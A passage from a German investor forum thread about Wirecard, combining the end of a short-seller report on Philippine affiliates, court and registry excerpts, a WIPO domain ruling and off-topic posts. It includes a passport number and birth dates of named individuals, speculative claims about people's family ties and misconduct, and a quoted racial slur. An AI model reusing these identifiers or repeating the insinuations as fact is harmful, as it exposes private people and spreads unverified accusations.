      Number: CS200507846) were obtained from the Philippine Securities and Exchange
      Commission. This documentation and accounts detail that contrary to the disclosures
      reportedly made by Markus Braun to BoAML investment analysts and into the wider market,
      that Wirecard:
      a. Had a direct relationship with the entity, Asia Pacific E-Serv Corporation.
      b. The individual named Arnold Marcellana was the Risk and Compliance Director for
      Wirecard Asia Pacific, and a shareholder in Wirecard Asia Pacific.
      c. The individual named Ronald Magleo, worked for Wirecard Asia Pacific as its Chief
      Operating Officer.
      15. From 2009 until at least 2011, Arnold Marcellana is detailed in the Wirecard Asia Pacific Inc
      filings as the Company Secretary, Compliance Officer, and a shareholder.
      16. From 2007 until at least 2011, Rafael Legaspi is detailed as the CEO/President of Wirecard
      Asia Pacific Inc.
      17. From 2007 until at least 2013, Rafael Legaspi is detailed as the CEO/President of Asia Pacific
      E-Serv Corporation.
      Note: Arnold Marcellana is believed to be related to Rafael Legaspi, possibly Rafael Legaspi’s
      son. Note ends.
      18. From 2007 until at least 2009, Esther Magleo is detailed as CFO/Treasurer to Wirecard Asia
      Pacific Inc.
      19. From 2007 until at least 2009, Esther Magleo is detailed as CFO to Asia Pacific E-Serv
      Corporation.
      Note. Esther Magleo is believed to be Ronald Magleo’s mother. Note ends.
      20. From at least 2009 until 2011, Michael Brinkmann (Passport Number: 500-259-3646) is
      detailed as a Director and Shareholder of Wirecard Asia Pacific Inc.
      21. Wirecard Asia Pacific Inc and Asia Pacific E-Serv Corporation were controlled and managed
      by the same individuals: Rafael Legaspi, Esther Magelo, Ronald Magleo and Arnold
      Marcellana.
      22. Official company filings returned to the Philippine SEC detail that Wirecard Asia Pacific was
      registered to the same address as Asia Pacific E-Serv Corporation: 25
      th
      Floor Yuchengo Tower
      1, RCBC Plaza, Ayala Avenue, Makati City, Philippines.
      23. In 2011, Wirecard Asia Pacific Inc annual returns are filed on Asia Pacific E-Serv
      Corporation/Aspaconline headed paper.
      24. Wirecard Asia Pacific Inc and Asia Pacific E-Serv Corporation were each audited by the same
      auditor: Datiles Casero and Associates.
      25. In 2010, the auditor to Wirecard Asia Pacific Inc. qualified its opinion, expressing doubt
      regarding the company’s ability to continue to trade as a going concern:
      We draw attention to Note 1 to the financial statements which indicate that the
      Company will continue operating as a going concern. As shown in the financial
      statements, the Company incurred net loss amounting to P11.81 million for the year
      ended December 31, 2010 and is in capital deficiency position of P7.17 million as of
      December 31, 2010. These conditions, among others, raise substantial doubt about
      the Company's ability to continue as a going concern.
      26. In 2010, Wirecard’s Group Annual Report (page 112) details:
      Wirecard AG could reach the upper limit of this forecast. If the anticipated positive
      influences from the Asian business and the issuing business exceed their targets.
      Note: Wirecard Asia Pacific Inc was subsequently transferred to Wirecard Asia Pte. Ltd.
      Singapore (previously known as E-Credit Plus Pte. Ltd). Wirecard Asia Pte. was another loss
      making business where the auditor was unable to determine validity of revenues and fees and
      expressed doubt over that company’s ability to continue as a going concern.
      5
      Note ends.
      27. Wirecard Asia Pacific filings detail that Asia Pacific E-Serv Corporation is an affiliate to
      Wirecard Asia Pacific.
      28. Redipayonline, an e-wallet product of Asia Pacific E-Serv Corporation/Aspaconline is detailed
      to have an exclusive relationship with Wirecard.
      6
      29. Asia Pacific E-Serv Corporation/Aspaconline was an exclusive partner of Wirecard AG, using
      Click2Pay as its payment system provider.
      7,8
      REPORT ENDS


      quellen



      1
      http://www.zatarra-research.com/FINALMainreportZatarra.pdf
      2
      https://www.mastercard.com/ca/merchant/en/getstarted/BM_Manu…
      3
      https://www.wirecard.com/company/our-story/
      4
      http://www.zatarra-research.com/FINALMainreportZatarra.pdf
      5
      https://ftalphaville-cdn.ft.com/wp-content/uploads/2015/05/E…
      6
      http://web.archive.org/web/20080517070644/http:/www.redipayo…
      7
      http://web.archive.org/web/20060405184309/http:/www.aspac-es…
      8
      http://web.archive.org/web/20080403221558/http:/www.wirecard…
      Avatar
      schrieb am 14.04.17 13:13:18
      Beitrag Nr. 268 ()
      - Merkzettel -

      Das Postfach in Tortola, derbiz, Nigerdialler, ... diese Sache mit den Schweden und die Verbiondung zu Profit Plantation und zu SexTracker... dabei die UK-Schniottstellen beachten.
      Gibt es da auch einen Zusammenhang?
      Avatar
      schrieb am 30.04.17 13:32:22
      Beitrag Nr. 269 ()
      Angesichts des außergewöhnlichen Wetters heute mal nichts zur Wirecard. Genießt die Sonne...
      Hier ein paar nette Lieder dafür...

      https://www.youtube.com/watch?v=bn5TNqjuHiU
      (Janis Joplin - Summertime)

      https://www.youtube.com/watch?v=wvUQcnfwUUM
      (Mungo Jerry - In the summertime)

      https://www.youtube.com/watch?v=13g0ydSquR0
      (Cockney Rebel, "Here comes the sun", live 1975. Jmd auf diesem Video aus 1975 sieht exakt so aus wie ich 1992)*

      https://www.youtube.com/watch?v=1lyu1KKwC74
      (The Verve - Bitter Suite Symphony)

      https://www.youtube.com/watch?v=f7hVxUwkSMM
      (Liquido - Narcotic)

      https://www.youtube.com/watch?v=SzlpTRNIAvc
      (James brown, I feel good)

      https://www.youtube.com/watch?v=5aBLvjWnpfA
      (Spirit of the west - Home for a rest)

      https://www.youtube.com/watch?v=cKse_i0irtg
      (Sweet, Love is like oxygen, faszinierende Version)

      https://www.youtube.com/watch?v=f6ku2J6eT3I
      (Doors, Waiting for the sun)

      https://www.youtube.com/watch?v=jdfMZa9o0nc
      (Velvet Underground, "Who loves the sun")

      https://www.youtube.com/watch?v=0vqgdSsfqPs
      (REM - Imitation of Life)
      (unvergesslich, als jigajig beim REM-Konzert auf die Bühne kletterte, um die Playlist zu klauen, ein Ordner kam, ich sagte "ich will doch nur die Playlist holen", er schubste mich runter, dann kam Michael Stipe mit so einem Oktoberfestherz um den Hals und ich rief "I want the playlist" - worauf er sie mir runterreichte...)*

      https://www.youtube.com/watch?v=sBGoLVlJjuc&feature=youtu.be…
      (Hidden Cameras, In the NA)
      (unvergesslich, als die Hidden Cameras bei einem Festival ein Lied spielen wollten, aber sie fanden ihr Tambourine nicht... jigajig rannte los und kaufte bei einem Dritte-Welt-Stand ein Tambourine und brachte es auf die Bühne, dann spielten sie es doch noch... ach, die Geschichte muß ich mal dem Mehmet Scholl erzählen...)*

      https://www.youtube.com/watch?v=uS05cHywSbg
      (Gurdan Thomas - My head is stuck in this honeypot)
      (hat gute Chancen, Titelsong des Films über jigajig und die wirecard zu werden)

      https://www.youtube.com/watch?v=O21ccpgVAJE
      (Bananafishbones - Easy day)
      (hat gute Chancen, auf dem Soundtrack des Films über jgajig und die wirecard zu landen)

      https://www.youtube.com/watch?v=DsJK9sYRUWc&feature=youtu.be…
      (Peter Frampton, Do you feel like we do?)

      (*): kann stimmen oder nicht, oder halb und halb nicht,...
      Avatar
      schrieb am 30.04.17 17:44:27
      Beitrag Nr. 270 ()
      Hahaha - sehr nett. Ich mag nur M. Scholl nicht so, aber auch das sehr schön...
      Avatar
      schrieb am 01.05.17 15:31:01
      Beitrag Nr. 271 ()
      Antwort auf Beitrag Nr.: 52.869.814 von jigajig am 19.07.16 23:47:33Korrektur: Michelle Molloy ist nicht mehr Direktorin der Wirecard in Irland, auch wenn das manchmal noch so zu lesen ist. Dafür wird einer ihgrer Geschäftspartner mal wieder in israel erwähnt. Ist wohl ein Hobby oder so...


      Zitat von jigajig: Hat eigentlich schon jemand den Herrn Buchholz gefragt, was die ganze Aufregung soll?...
      Wirecard Payment Solutions Ltd
      Vice President Operation mit Prokura für alle Standorte (Anforderung aus Firmenverkauf)

      Das war der Stand. Daran wurde nichts geändert. Eine Vita ändert sich ja normalerweise nicht... Aber dann plötzlich, im April 2016 (!), stand da dies hier:
      2000 –2008
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Gateway Payment Solution[*] Ltd, Dublin, Köln und Toronto
      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern.
      Verkauf des Unternehmens am 31.10.2007 an die Wirecard AG, Aschheim/Dornach.
      [...]
      Wirecard Payment Solutions Ltd
      Vice President Operation mit Prokura für de Standort Köln (Anforderung aus Firmenverkauf)


      Warum nur diese Änderung?

      ...
      Das ist die heutige
      Wirecard UK & Ireland Ltd
      e-Mail: solutions (at) wirecard.com
      Internet: www.wirecard.co.uk
      Company Registered in Ireland Number: 409923
      Directors: Alan White, Michelle Molloy, Jan Marsalek


      Buchholz schreibt aber "Gateway payment Solution[*]"[/quote]
      Avatar
      schrieb am 20.05.17 10:34:44
      Beitrag Nr. 272 ()
      Nette Geschichte?
      Es muß so 1982 herum gewesen sein, ich habe mit Thomas Gottschalk telefoniert. Der war damals Moderator der B3-Radioshow (mit Günther Jauch!). Ich habe ihm erzählt, dass ich keyboarder werden will, dass es aber kaum Keyboardbands gibt. Er erzählte mir dann von SAGA, "die haben sogar zwei Keyboarder in der Band". Ich war fasziniert...

      zu meinen besten Zeiten habe ich fast 20 Keyboards besessen. Ich war einer dieser Verrückten, die einen superschweren Synthi auf die Bühne geschleift haben, um damit einen Ton zu spielen. So wie den Roland Jupiter. Ein Portamento vom tiefsten zum höchsten a - das war's...

      Ich bedanke mich jedenfalls bei Thommy für die Inspiration :)
      https://www.youtube.com/watch?v=5NiZPA5iYJE&feature=youtu.be…

      Bei Gelegenheit werde ich ihn mal fragen, ob er Wirecardaktien hat. Oder ich rede besser mit Günther Jauch, der hat nämlich 2001 ziemlich geschimpft über die Wirecard. Na ok, da hieß sie noch nicht so :) Ups, das habe ich ja schon erzählt... Fiel mir aber gerade wieder ein, weil ich neulich einen getroffen habe, der hat früher bei u&u gearbeitet, die Produktionsfirma. Den hab ich gleich mal gefragt, bei wem er alles noch einen Fuß in der Türe hat, medienmäßig...

      Kann man ja immer mal brauchen, oder?



      https://www.youtube.com/watch?v=5NiZPA5iYJE&feature=youtu.be…
      Avatar
      schrieb am 20.05.17 10:52:40
      Beitrag Nr. 273 ()
      Ein Portamento vom tiefsten zum höchsten a - das war's...
      ich korrigiere. Es müsste ein e gewesen sein, kein a. Nee, falsch, es war doch ein a. Manchmal weiß man, dass man etwas sicher weiß, aber man ist sich nicht sicher, ob das, was man zu wissen glaubt, das ist, was man weiß. So geht es mir z.B. bei der Wirecard auch immer... Manchmal hilft es, sich konzentriert an gewisse Dinge zu erinnern ("das Lied war in e-Moll" - und dann müsste es eben ein "e" gewesen sein).

      Aber die Erinnerung sagt klar "es war ein a". Und das stimmt, ich habe extra alte Aufnahmen davon angehört...
      Manchmal soll man also seiner spontanen Erinnerung glauben. Aber wann das eine und wann das andere?

      Wenn man sich nicht mehr sicher erinnert, wie das Lied gegangen ist, dann muß man es rekonstruieren. Ein "e" wäre logisch, da e-Moll eben parallel zu G-Dur ist und es gab da diese Stelle mit einem G-Dur und e im Bass. Klingt schräg... Aber das mit dem Ton kam danach, ganz am Schluß - und da kam vorher eine Überleitung quer durch ein paar Moll-Akkorde bis hin zu einem A-Akkord. Dieser A-Akkord wurde im ganzen Lied immer wieder mal gespielt und zwar lange Zeit "offen", also nicht eindeutig in Dur oder Moll. Am Schluß wurde es dann mit dem allerletzten Ton als "Dur" definiert, was mit dem quer durch alle Okven ansteigenden "a" unterstützt wurde und was den Charakter des Liedes quasi auf den Kopf stellte, weil der unentschiedene A-Akkord das komplette Lied über eben "eher" als a-Moll aufzufassen war, theoretisch - und in einem sehr dramatischen Zwischenteil auch als Moll gespielt wurde, so deutlich wie möglich - mit einem sforzando auf dem "c" ("damit das klar ist, Leute, das ist ein A-Moll!")
      Umso erstaunlicher ist dann eben, dass es am Schluß eine letzte Steigerung gibt und diese dann plötzlich ins Dur kippt, ganz überraschend.

      Was wollte ich jetzt sagen?
      Avatar
      schrieb am 04.06.17 11:45:34
      Beitrag Nr. 274 ()
      "Illegale Geschäfte sind bei der Wireecard ausgeschlossen"

      Landgericht Berlin
      Benachrichtigung über die Anordnung der Aufrechterhaltung des dinglichen Arrests zugunsten der aus einer Straftat Geschädigten im Rahmen der Rückgewinnungshilfe (§ 111i Absatz 3 und 4 Salz 1 und 2 StPO)
      In einem bei der Staatsanwaltschaft Berlin, Postanschrift 10548 Berlin (ohne Straßenangabe), unter der Geschäftsnummer 67 Js 683/10 geführten Ermittlungsverfahren wegen gemeinschaftlichen gewerbs- und bandenmäßigen Betruges ist mit Beschluss des Amtsgerichts Tiergarten vom 9. Mai 2011 – Aktenzeichen 352 Gs 1676/11 – der dingliche Arrest in Höhe von 4.819.957,- Euro in das Gesellschaftsvermögen der WorldComService GmbH mit Hauptsitz Weddingstraße 5, 13357 Berlin, und Zweigniederlassung Arbachtalstraße 6, 72800 Eningen unter Achalm, angeordnet worden. Zudem sind mit Beschlüssen des Amtsgerichts Tiergarten vom selben Tag – Aktenzeichen ebenfalls 352 Gs 1676/11 – und vom 23. Mai 2011 – Aktenzeichen 352 Gs 1864/11 – drei wirtschaftlich der WorldComService GmbH zustehende Konten beschlagnahmt worden, deren Inhaber jeweils von der Gesellschaft beauftragte Zahlungsdienstleister waren.
      In Vollziehung des Arrests und der Beschlagnahmeanordnungen konnten namentlich folgende Vermögenswerte gesichert werden:

      Guthaben von 412.183,50 Euro (Stand: 22. Juni 2011) auf dem Konto Nummer 7010001956 (Inhaber Pay4 GmbH) bei der Sofort Bank;

      Guthaben von 119.631,74 Euro (Stand: 15. Juni 2011) auf dem Kontokorrentkonto Nummer 54571 (Inhaber Pay4 GmbH) bei der Wirecard Bank AG.
      Auf die Veröffentlichung für die Staatsanwaltschaft Berlin im elektronischen Bundesanzeiger vom 16. September 2011 wird Bezug genommen.
      Mit Urteil vom 28. Juni 2016 hat das Landgericht Berlin – Aktenzeichen (514 KLs) 251 Js 3803/11 (4/14) – in diesem Zusammenhang einen Angeklagten wegen Beihilfe zum versuchten Betrug verurteilt und nach § 111i Absatz 2 Satz 1 StPO festgestellt, dass der Verfallsbeteiligten Pay4 GmbH aus der Tat ein Vermögenswert in Höhe eines Geldbetrages von 461.852,67 Euro zugeflossen ist. Von der sonst gebotenen Anordnung von Verfall bzw. Wertersatzverfall eines entsprechenden Betrages wurde gleichwohl wegen entgegenstehender Ansprüche Verletzter abgesehen.
      Die Verurteilung betrifft Zahlungsdienstleistungen nach dem 28. März 2011, die der Angeklagte mittels der von ihm kontrollierten Verfallsbeteiligten Pay4 GmbH zur Unterstützung von Straftaten weiterer ehemaliger Mitangeklagter durchgeführt hat. Diese erzielten mit ganz überwiegend auf Täuschung beruhendem: Abschluss von Dienstleistungsverträgen mit mehr als 200.000 Kunden durch die WorldComService GmbH im Wege des Telefon-Vertriebs unter Einschaltung mit der WorldComService GmbH wirtschaftlich verbundener türkischer Call-Center Umsätze im Lastschrifteinzug von insgesamt mehr als 15 Millionen Euro, wovon über die Verfallsbeteiligte Pay4 GmbH seit Februar 2011 zumindest ein Teilbetrag von mehr als 4,8 Millionen Euro gebucht wurde.
      Die Abbuchungen über monatliche Beiträge zwischen 49,- Euro und 59,- Euro erfolgten dabei namentlich für die Anmeldung bei kostenlosen Online-Gewinnspielen mit den Produktbezeichnungen OGS-200, DGG-200, SGA-24, DS-200, PlayWin2008, MWS-2010, DSC-24, RWC-2010 und GDS-24.
      Am 28. Juni 2016 hat das Landgericht Berlin – Aktenzeichen ebenfalls (514 KLs) 251 Js 3803/11 (4/14) – ferner beschlossen, dass die durch die Beschlüsse des Amtsgerichts Tiergarten vom 9. Mai. 2011 (Geschäftsnummer (352 Gs) 67 Js 683/10 (1676/11)) und vom 23. Mai 2011 (Geschäftsnummer (352 Gs) 67 Js 683/10 (1864/11)) angeordneten Beschlagnahmen dahin abgeändert werden, dass nunmehr der dingliche Arrest bis zu einer Höhe von 461.852,67 Euro in das Vermögen der Pay4 GmbH angeordnet wird, der für drei Jahre aufrechterhalten wird. Durch die Hinterlegung eines Geldbetrages von 461.852,67 Euro wird die Vollziehung des Arrests gehemmt und die Pay4 GmbH zu dem Antrag auf Aufhebung des vollzogenen Arrestes berechtigt.
      Das Urteil vom 28. Juni 2016 ist betreffend die Verfallsbeteiligte Pay4 GmbH seit dem 4. Oktober 2016 rechtskräftig.


      Die Pay4 hatte also ein Konto bei der wirecard-Bank, über das betrügerisch erlangte Gelder geflossen sind?

      2014 wurde die Pay4 ebenfalls im Zusammenhang mit bvetrügerischen handlungen genannt
      (quelle: https://www.bafin.de/SharedDocs/Veroeffentlichungen/DE/Verbr… )

      Datum: 21.01.2014
      Die Bundesanstalt für Finanzdienstleistungsaufsicht (BaFin) hat der Pay4 GmbH mit Sitz in Frankfurt/Main sowie deren Geschäftsführer Herrn Jens Leinert jeweils mit Verfügung vom 2. Dezember 2013 untersagt Dienstleistungen für die Bruma Service GmbH mit Sitz in der Schweiz zu erbringen, soweit diese das Finanztransfergeschäft dadurch betreibt, dass sie Forderungsbeträge für andere per Lastschrift über in Deutschland geführte Konten einzieht oder per Überweisung auf eigenen Konten in Deutschland entgegennimmt und die Beträge auftragsgemäß weiterleitet


      2015 hat Herr Leinert eine ähnliche Geschichte am Laufen gehabt, über Lettland und seine BalticPay.

      ich dachte immer, so etwas sei bei der wirecard gar nicht möglich?
      warum hat man davon eigentlich nichts gehört und gelesen?
      Avatar
      schrieb am 04.06.17 11:56:36
      Beitrag Nr. 275 ()
      http://www.fr.de/panorama/betrug-im-netz-mit-einem-klick-ist…

      über 200.000 Betroffene? Immer derselbe Betrag? Und der unüberwindlichen Due Diligence der wirecard ist nichts aufgefallen? Was verkauft die Wirecard gleich wieder? Risk management?

      https://www.wirecard.com/products/risk-management/

      das ist ja lustig
      Avatar
      schrieb am 04.06.17 12:12:48
      Beitrag Nr. 276 ()
      Da gibt es ja interessante Verbindungen, holla. Alles lange her... Aber wenn man noch 2015 oder so im Zusammenhang damit genannt wird, ist es doch nicht ganz so unaktuell, nicht wahr?

      NetPlay GmbH, Grasbrunn (Bretonischer Ring 4, 85630 Grasbrunn). GmbH. Gesellschaftsvertrag vom 11.01.2002, zuletzt geändert am 02.09.2003. Die Gesellschafterversammlung vom 02.03.2006 hat die Änderung der §§ 1 (Sitz, bisher Achterwehr, Amtsgericht Kiel HRB 5847 KI) und 8 (allgemeine Vorschriften) der Satzung beschlossen. Gegenstand des Unternehmens: Vermittlung von Glücks- und Gewinnspielen in allen Bereichen der Medienbranche. Stammkapital: 25.000,00 EUR. Ist nur ein Geschäftsführer bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Geschäftsführer bestellt, so wird die Gesellschaft durch zwei Geschäftsführer gemeinsam vertreten. Bestellt: Geschäftsführer: Doppler, Torsten, Knüllwald, geb. 19??. Ausgeschieden: Geschäftsführer: Kleber, Franz, München, geb. 19??. Nicht eingetragen: Bekanntmachungsblatt ist nunmehr der elektronische Bundesanzeiger.
      Avatar
      schrieb am 04.06.17 12:16:13
      Beitrag Nr. 277 ()
      NetPlay GmbH
      Kantstr. 102
      10627 Berlin
      Amtsgericht: 14057 Berlin (HRB 105184)
      Geschäftsführer: Sven Hameister, Berlin, *01.04.1984
      Gesellschafter: ebs Holding AG
      ehem. NetPlay GmbH
      Bretonischer Ring 4
      85630 Grasbrunn
      Amtsgericht: 80315 München (HRB 162007)
      ehem. Geschäftsführer: Torsten Doppler, Knüllwald, *23.06.1964
      ehem. MWS Marketing GmbH
      ehem. Baltic Siebenundzwanzigste Vermögensverwaltungs GmbH
      Amtsgericht: 24114 Kiel (HRB 5847)
      ehem. Geschäftsführer: Franz Kleber, München, *28.07.1969
      Avatar
      schrieb am 04.06.17 12:17:19
      Beitrag Nr. 278 ()
      Da gibt es ja interessante Verbindungen, holla. Alles lange her... Aber wenn man noch 2015 oder so im Zusammenhang damit genannt wird, ist es doch nicht ganz so unaktuell, nicht wahr?

      NetPlay GmbH, Grasbrunn (Bretonischer Ring 4, 85630 Grasbrunn). GmbH. Gesellschaftsvertrag vom 11.01.2002, zuletzt geändert am 02.09.2003. Die Gesellschafterversammlung vom 02.03.2006 hat die Änderung der §§ 1 (Sitz, bisher Achterwehr, Amtsgericht Kiel HRB 5847 KI) und 8 (allgemeine Vorschriften) der Satzung beschlossen. Gegenstand des Unternehmens: Vermittlung von Glücks- und Gewinnspielen in allen Bereichen der Medienbranche. Stammkapital: 25.000,00 EUR. Ist nur ein Geschäftsführer bestellt, so vertritt er die Gesellschaft allein. Sind mehrere Geschäftsführer bestellt, so wird die Gesellschaft durch zwei Geschäftsführer gemeinsam vertreten. Bestellt: Geschäftsführer: Doppler, Torsten, Knüllwald, geb. 19??. Ausgeschieden: Geschäftsführer: Kleber, Franz, München, geb. 19??. Nicht eingetragen: Bekanntmachungsblatt ist nunmehr der elektronische Bundesanzeiger.
      Avatar
      schrieb am 27.06.17 19:48:44
      Beitrag Nr. 279 ()
      It found they were part of what it called an "ecosystem" of nearly 50 interlinked websites, owned by companies in countries ranging from Georgia to Latvia. It analysed these sites and said if it had found such a network in a bank's portfolio of customers, it would suspect transaction laundering, CEO Teicher said.

      LOOPHOLES
      ...
      "Transaction laundering directly through a bank doing thorough due diligence would be relatively difficult, but at a PSP that is sponsored by a bank it is often easier."

      It was not possible for Reuters to determine which bank or banks work with Deutsche Payment or Agora.

      http://in.reuters.com/article/gambling-usa-dummies-idINKBN19…
      Avatar
      schrieb am 06.07.17 19:27:01
      Beitrag Nr. 280 ()
      Lustig ist ja, was die Wirecard anlässlich eines Domainstreits geschrieben hat (zu boon):
      http://www.wipo.int/amc/en/domains/search/text.jsp?case=D201…
      2015 schrieb die Wirecard in einem offiziellen Verfahren:
      The disputed domain name is identical to the Complainant's registered trade mark. The use of the disputed domain name is likely to cause confusion because Internet users will erroneously believe that it is owned by the Complainant.
      The Respondent has no rights or legitimate interests in the disputed domain name.
      The Respondent is not known to the Complainant. The Complainant sees no legitimate reason as to why the Respondent should have the right to choose the Complainant's brand "boon" as a domain name.

      Sorry! Zu diesem Zeitpunkt kannten nicht einmal Wirecardaktionäre boon :)
      The Respondent's offer to sell the disputed domain name for USD 75,000-100,000 shows that the Respondent's only intention was to fraudulently transfer the disputed domain name to the highest bidder. The Respondent thus has no legitimate interest in the disputed domain name.

      Wirecard war der Domainname 500 US$ wert! 500!
      Das muß man sich mal geben!
      Und weil sie boon.com nicht für 500US$ gekriegt haben, sind sie vor die WIPO gezogen.
      As the Respondent has not used the disputed domain name, so far as the Complainant is aware, the Respondent is thereby proven merely to have a financial interest in the disputed domain name.

      Wirecard behauptet also ernsthaft, jemand habe 1998 in böser Absicht eine Domain registriert mit dem Namen eines Wirecardprodukts, das 2015 noch keiner kannte??????
      Die Antwort war dann auch strohtrocken:
      The website for the service at "www.boonpayment.com" comprises a holding page which states: "boon. Coming up! Launch August 2015".
      The Complainant undertook this case not because it is a victim of cybersquatting but because it covets the disputed domain name for its newly announced service.
      The Complainant cannot show that it has used the BOON mark in commerce or that it had enforceable rights in the mark prior to registration of the disputed domain name.


      The Complaint constitutes Reverse Domain Name Hijacking. The Complainant knew or ought to have known that its case was fatally weak and that it could not prove the essential elements required by the UDRP. The Complainant should have been dissuaded from filing a Complaint which so lacked the requisite evidence. The Complainant has chosen to ignore the facts by advancing fanciful and speculative arguments. This is a cynical effort to use the Policy as "Plan B" to seize a valuable domain name.


      Die Antwort der WIPO enthält einige erstaunliche Bemerkungen:
      The Complainant itself states that the disputed domain name was registered on October 4, 1998 (while the publicly available WhoIs record appears to indicate the registration date of October 14, 1998), and that the Complainant was founded in 1999, i.e., after registration of the disputed domain name. The Complainant does not even claim that it, or a predecessor, has ever actually used the mark BOON; indeed, a website holding page produced by the Respondent suggests that "boon" is the name for an intended product of the Complainant, not yet launched. On the record before the Panel, the first conceivable date on which the Complainant could have acquired relevant trade mark rights was April 15, 2014, the date when it filed its trade application - some 16 years after registration of the disputed domain name.
      Therefore, the disputed domain name could not have been registered in bad faith and the Complaint clearly fails.

      Dann kommt eine heftige Ohrfeige:
      For the foregoing reasons, the Complaint is denied. The Panel further declares that the Complaint was brought in bad faith and that it constitutes an abuse of the administrative proceeding.


      Diese kleine und unbedeutende Geschichte ist so dermaßen peinlich für einen 6-Milliarden-Konzern, da fehlen mir die Worte.

      Und morgen oder irgendwann später erzähle ich die Geschichte einer weiteren Domain. Dann wird es für Dornach nur noch peinlicher.

      Wie kann sich ein 5-Milliarden-Konzern nur so unendlich blamieren?
      Oder wollte man in Apple's Fußstapfen treten?
      http://www.sueddeutsche.de/wirtschaft/markenstreit-cafe-apfe…

      PS:
      BOON hieß damals übrigens ein Regalsystem. Man stelle sich vor, wie es gewesen wäre, wenn wirecard die WIPO übertölpeln hätte können...
      Man sucht ein Regalsystem und landet bei der Wirecard!

      Es gibt übrigens auch eine US-Firma namens Boon
      http://www.booninc.com/about-us
      In den USA sollte wirecard ohnehin mit dem Produktnamen etwas aufpassen:
      http://www.urbandictionary.com/define.php?term=boon
      An uneducated, lower class negro; worthless


      Und es gibt (oha!) eine app namens BOON
      http://tryboon.com/about-boon/
      Online seit März 2015.
      ebenfalls in den USA.

      Für die USA-Expansion sollte man also schon einmal über einen neuen Namen nachdenken.

      ich habe ein paar Vorschläge:
      Ashpay - ich weiß aber nicht, ob "Asche" in den USA auch "Geld" bedeutet und ob man es nicht mit "ashtray" verwechseln würde.

      Markpay - dann wäre "markus" im Namen der app verewigt und es wäre lustig, die deutsche Herkunft im Namen zu haben." target="_blank" rel="nofollow ugc noopener">http://www.urbandictionary.com/define.php?term=boon
      An uneducated, lower class negro; worthless


      Und es gibt (oha!) eine app namens BOON
      http://tryboon.com/about-boon/
      Online seit März 2015.
      ebenfalls in den USA.

      Für die USA-Expansion sollte man also schon einmal über einen neuen Namen nachdenken.

      ich habe ein paar Vorschläge:
      Ashpay - ich weiß aber nicht, ob "Asche" in den USA auch "Geld" bedeutet und ob man es nicht mit "ashtray" verwechseln würde.

      Markpay - dann wäre "markus" im Namen der app verewigt und es wäre lustig, die deutsche Herkunft im Namen zu haben.[/quote]
      Avatar
      schrieb am 19.10.18 10:11:50
      Beitrag Nr. 281 ()
      Was hat der norwegische Staatsfond mit dem Flüchtlingsproblem zu tun (das übrigens in erster Linie ein Problem für die Flüchtlinge ist und nicht für uns, einen der reichsten Staaten der Welt)?
      Die Teile der Bevölkerung, die bei JEDEM Thema auf die Flüchtlingsfrage (ein Unwort!) kommen, das sind genau diejenigen, die von Lügenpresse sprechen, dabei profitieren sie doch von den Medien, die dieses realitätsferne Fokussieren auf ein Thema noch unterstützen. Unser "Staat" "investiert" in erster Linie in das weitere Auseinanderklaffen der Einkommensschere. Wir könnten jeden Flüchtling lässig unterstützen, der bereit ist, sich auf das Land und seine grundsätzlichen Gepflogenheiten einzulassen (diese Einschränkung ist für mich Teil der oft geschmähten "Willkommenskultur). Das Geld ist da. Man müsste dafür lediglich mit einem angemessenen Aufwand die Rückzahlung der Profite von CumEx einfordern. 55 Milliarden Schaden in Europa... und wo wird es diskutiert?
      Um irgendwie den Bogen zur Wirecard zu schlagen: Viele unter uns nehmen Aktien zu wichtig, weil sie Aktionäre sind. Das ist ja logisch. Sie sind aber nicht wichtig. Ob die 5000 Mitarbeiter der Wirecard nun 500 Millionen oder 800 Millionen oder 2 Milliarden Gewinn machen, das ist gesellschaftlich völlig irrelevant. Ob aber in diesem Land akzeptiert wird, dass dumpfer Populismus Wut auf Minderheiten schürt, während gesellschaftlich viel schädlicheres Schmarotzertum von Superreichen nur einige wenige zum Thema machen, das hat Relevanz. So. Das wird hier wahrscheinlich gelöscht werden. Macht nichts. Ich hab es mir von der Seele geschrieben.
      Avatar
      schrieb am 19.10.18 10:14:02
      Beitrag Nr. 282 ()
      Avatar
      schrieb am 27.04.19 02:03:21
      Beitrag Nr. 283 ()
      "R. Shamugaratam" wird erwähnt im Rajah&Tann-Bericht unter Punkt 15.
      Er ist ("nur") company secretary ist, nicht aber director.

      Er ist company secretary bei "GI Philippines" und bei "International Techno Solutions Pte Ltd" und bei "Inventures Technology Online pte ltd", so steht es bei R&T und diese Firmen sind allesamt dort erwähnt, aber auch in der Untersuchung des CAD.

      Das CAD wird sicherlich auch die (vermutlich) richtige Schreibweise des Namens überprüfen und möglicherweise beim Director von Goomo UK landen:
      siehe hier.
      (RAJARATNAM, Shanmugaratnam).

      Das kann alles Zufall sein. Ok, nicht wirklich Zufall. Es dürfte damit erklärbar sein, dass es womöglich sein Job ist, "company secretary" zu sein, darauf deutet jedenfalls seine Tätigkeit bei Citadelle Corporate Services (siehe hier) hin, siehe sein LinkedIn-Profil hier)

      Aber gut. Wenn aber jemand vom CAD das untersucht, landet der womöglich auch bei Goomo in Singapur, die nämlich Inhaber der Goomo UK ist, zusammen mit EMIF (das sind die, von denen wirecard Hermes/GI gekauft hat)
      siehe hier).

      [bei der deutschen GmbH namens "Goomo Europe" findet sich Herr V. (siehe hier). Man google diesen Namen und man werde wohl erstaunt sein)

      Womöglich wird das Erstaunen noch größer, weil man den Namen auch in Indien findet, als director der Goomo Indien (siehe hier). Der andere Director (siehe hier) taucht wiederum unter Punkt 107 des R&T-Berichts auf, aber auch bei einer Firma Lifafa (siehe hier).

      Diese Lifafa wiederum bekam Geld von einer "Right Momentum" (siehe hier, die wiederum bei R&T (95ff) auftaucht.

      hier mal ein Zwischen-Punkt
      .
      1 Antwort
      Avatar
      schrieb am 27.04.19 02:08:19
      Beitrag Nr. 284 ()
      Antwort auf Beitrag Nr.: 60.436.323 von jigajig am 27.04.19 02:03:21
      Zitat von jigajig: Das kann alles Zufall sein. Ok, nicht wirklich Zufall. Es dürfte damit erklärbar sein, dass es womöglich sein Job ist, "company secretary" zu sein, darauf deutet jedenfalls seine Tätigkeit bei Citadelle Corporate Services (siehe hier) hin, siehe sein LinkedIn-Profil hier)

      Während ich dies schrieb, klingelte es ständig in meinem Kopf... Diese Adresse...

      111 North Bridge Road
      #08-16 Peninsula Plaza

      das hab ich doch schon irgendwo gelesen...

      habe ich!
      nämlich hier:
